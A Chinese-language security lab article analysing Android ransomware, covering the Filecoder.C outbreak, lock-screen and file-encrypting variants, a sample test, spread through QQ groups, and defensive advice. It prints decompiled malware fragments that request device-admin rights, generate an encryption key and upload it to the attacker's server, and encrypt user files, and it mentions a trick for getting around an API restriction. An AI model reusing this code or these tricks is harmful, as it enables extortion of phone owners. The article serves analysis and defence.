在2019年7月31日,安全厂商ESET的研究人员Lukas Stefanko探测到了一款针对Android用户的新型勒索软件Filecoder.C,此病毒第一次出现在Reddit和Android开发者论坛XDA Developer上,再透过受害者手机大量散布。截止至目前为止,大约有230万人次已被确认“中招”,而有趣的是即使受害者乖乖交了几百美金的“赎金”,却依然无法恢复文件。
这让我们不禁反思两个现象:
大多数人在“中招“后,由于缺少足够的应对经验和技术,往往不知所措、无从下手。在经过激烈的思想博弈后,率先认输,自认倒霉,乖乖交钱。助长了黑客的气焰不说还有可能出现”即使有密钥也无法恢复手机“的现象。 移动端的安全防护较PC端较差,暴露出的攻击面更多。同时大多用户对移动APP的攻击技术不够了解,从侧面增加黑客攻击的成功率。由此可以得出两个结论:
移动端的安全威胁将进一步提升,以勒索软件为代表的恶意软件将进一步进入手机市场。 目前移动端市场缺少一款性能优越的防勒索软件。 0x01 手机市场勒索软件情况以360安全中心2017年的统计数据为例,在2017年的1月至9月,平均每月捕获手机勒索软件5.5万余个。其中1月到5月手机勒索软件呈现波动式增长,6月份网警在芜湖、安阳将勒索病毒制作者男子陈某及主要传播者晋某抓获,全国首例手机勒索病毒案告破,在6月份以后新增数量急剧下降,手机勒索软件制作者得到了一定震慑作用。
届时只要用户点击了此勒索软件,便会不停的弹出窗口向用户索要权限,直至用户同意才停止弹窗。
public void onActivityResult(int i, int i2, Intent intent) {
if (i2 == -1) {
startService(new Intent(getBaseContext(), admsurprises2.class));
} else {
mo5a();
}
super.onActivityResult(i, i2, intent);
}
public void mo5a() {
this.f7f = (DevicePolicyManager) getSystemService("device_policy");
if (!this.f7f.isAdminActive(new ComponentName(this, Abrab16.class))) {
Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
intent.putExtra("android.app.extra.DEVICE_ADMIN", new ComponentName(this, Abrab16.class));
intent.putExtra("android.app.extra.ADD_EXPLANATION", getString(C0079R.string.admindescription));
intent.setFlags(536870912);
startActivityForResult(intent, this.f8g);
}
}
一旦用户给了权限,想要取消激活就只能在设置->安全->设备管理应用程序 中手动取消激活,但此时已经为时已晚,勒索软件便可以通过resetPassword方法重置掉用户的锁屏密码。
附加说明:
Android N(7.x)中,DevicePolicyManager.resetPassword方法只能为没有密码的机器设置初始密码,但不能重置或者清除已有的密码了,因此旧版本的恶意应用在有密码的机器上是没办法设置密码的。
当App targetsdkversion为Android O(8.x)及以上,该API会直接抛出SecurityException异常,因此恶意应用会选择较低的targetsdk版本进行规避。
加密文件类勒索软件:
该病毒类似于永恒之蓝事件所爆发时的wannacry勒索软件,通过比特币的形式勒索用户缴纳赎金并规避现金交易的风险,首先该软件会要求用户开启辅助点击服务,一旦用户给予了权限,立即跳转到激活设备管理器页面并模拟点击激活设备管理器,以上操作仅仅为了增强自身的存活性,之后便加密文件,跳出勒索界面要求用户缴纳赎金。
如果数据被加密且使用了非对称加密算法,或密钥是随机生成并被上传到作者的服务器,数据恢复的概率会变得十分渺茫。
以下代码实现生成随机密码并上传至作者的服务器:
public static SecretKey a() {
SecretKey v0_2;
try {
SecureRandom v0_1 = new SecureRandom();
KeyGenerator v1 = KeyGenerator.getInstance(k.a[22]);
v1.init(0x100, v0_1);
v0_2 = v1.generateKey();
}
catch(Exception v0) {
v0_2 = null;
}
return v0_2;
}
public void a(Context arg8, String arg9, String arg10) {
new r(arg8, k.a[24]).execute(new Object[]{String.format(Locale.US, k.a[25], Arrays.toString(k.c.getEncoded()), arg9, Build.MODEL, arg10)});
}
public static final CharSequence a(Context arg8, List arg9, boolean arg10) {
Throwable v2_2;
Closeable v0_3;
InputStream v2_1;
Closeable v1 = null;
StringBuilder v3 = new StringBuilder();
if(llILllllllIlIlllIIlllILlIIIIILIllllIlIllllllIIILIIlIllll.a(arg8)) {
try {
HttpPost v0_2 = new HttpPost(new URI(llILllllllIlIlllIIlllILlIIIIILIllllIlIllllllIIILIIlIllll.b(arg8)));
v0_2.setEntity(new UrlEncodedFormEntity(arg9, llILllllllIlIlllIIlllILlIIIIILIllllIlIllllllIIILIIlIllll.a[4]));
BasicHttpParams v2 = new BasicHttpParams();
HttpConnectionParams.setConnectionTimeout(((HttpParams)v2), 300000);
HttpConnectionParams.setSoTimeout(((HttpParams)v2), 60000);
HttpConnectionParams.setTcpNoDelay(((HttpParams)v2), true);
v2_1 = new DefaultHttpClient(((HttpParams)v2)).execute(((HttpUriRequest)v0_2)).getEntity().getContent();
}
catch(Exception v0_1) {
v0_3 = null;
goto label_43;
}
以下代码实现加密或解密用户的文件:
try {
if(v0_4.length() c.b) {
goto label_12;
}
if(this.i) {
byte[] v1 = o.a(v0_4.getAbsolutePath());
if(v1.length == 0) {
goto label_12;
}
if(this.b(v0_4)) {
this.j = false;
v1_1 = null;
}
else {
v1_1 = this.a(this.a(arg11[0], v1), o.b(v0_4), 0);
this.h = this.h + v0_4.getAbsolutePath() + f.m[24] + v0_4.length() + f.m[26] + "\n";
this.j = true;
}
v3 = v1_1;
goto label_61;
}
if(this.b(v0_4)) {
v1_2 = this.a(this.b(arg11[0], o.a(v0_4)), o.b(v0_4), 0);
this.h = this.h + v0_4.getAbsolutePath() + f.m[27] + v0_4.length() + f.m[23] + "\n";
this.j = true;
if(v4 == 0) {
v3 = v1_2;
goto label_61;
}
}
goto label_133;
}
0x03 Android勒索软件样本分析
首先在网上下载了一个公开的勒索软件样本,丢到模拟器里安装一下,就会看到以下情景
可以看到这个勒索软件在安装的时候向用户索取了很多敏感权限,如果有用户防范意识不强的话,往往会被极具诱惑力的名字误导安装。
接下来我们点击允许,等待几秒后模拟器重启,一个很丑的页面映入眼帘。。。。
看来是被勒索了,证明这个勒索病毒正常运行了,那么接下来我们对这个APK进行一下逆向,先使用apktool对样本apk进行一下反编译
接下来查看Manifest.xml文件,可以看到允许应用获取了很多敏感权限,如:向SD卡上写文件、允许应用程序修改全局音频设置、允许应用程序获取手机全局状态、允许访问振动设备、允许程序打开窗口使用等。
接下来进入主程序可以看到写了多种方式,有DES、MD5等等依次调用,可能被加密了不止一次。
以上就是勒索软件的工作原理了,有的勒索软件简单粗暴,也没有经过什么加壳就直接散发出去,主要针对的是那些安全意识淡薄的群体。还有的勒索软件藏在正常的APK当中或者经过加壳处理,一般情况下用户在使用的时候看不出来这是个问题软件,直到触发了勒索软件的加密函数才会加密本机文件,这种勒索软件中招的往往是有一定安全意识的群体,一开始会小心谨慎在放松警惕后勒索软件才开始攻击。
0x04 Android勒索软件的传播方式目前社交网络成为了勒索软件的主要传播渠道,其中QQ与QQ群成为了大多数攻击者与受害者联系的唯一方式。
通过对勒索软件预留的QQ号与QQ群的分析,我们发现大部分勒索信息中都会同时出现 QQ号和QQ群号。在相似页面布局的勒索页面中,变化是只是QQ号而 QQ群号基本不变。
在进到一些锁机QQ群后发现,群里有人将一些锁机源码、测试视频、视频教程、软件源码及制作工具等等上传到群文件中,共享给其他人。除此之外还存在着“一键生成木马“工具,这种一键生成器操作简单,不需要具备编程知识也能够自定义生成多种类型的手机恶意软件。由于使用门槛低,造成了勒索软件从数量、类型上的不断增长与变化。
因此切记不要随意安装非正规应用商店中的软件,也不要轻易的转账或提交个人信息,同时要留意应用所需的权限,不要随意给予与应用功能无关的权限。
0x05 Android勒索软件防御方法 提升个人安全意识,拒绝一切不明渠道的软件安装包,只从正规商店下载正版软件。 不乱点不明链接或扫描不知做什么的二维码,尽可能阻止恶意软件进入手机。 仔细查看软件安装时索取的权限信息,因为勒索软件的运行前提是要获得手机访问文件的权限,所以对于索取此权限的APP要格外注意。 定期检查手机,扫描是否有潜在木马或恶意程序。作者:美创安全实验室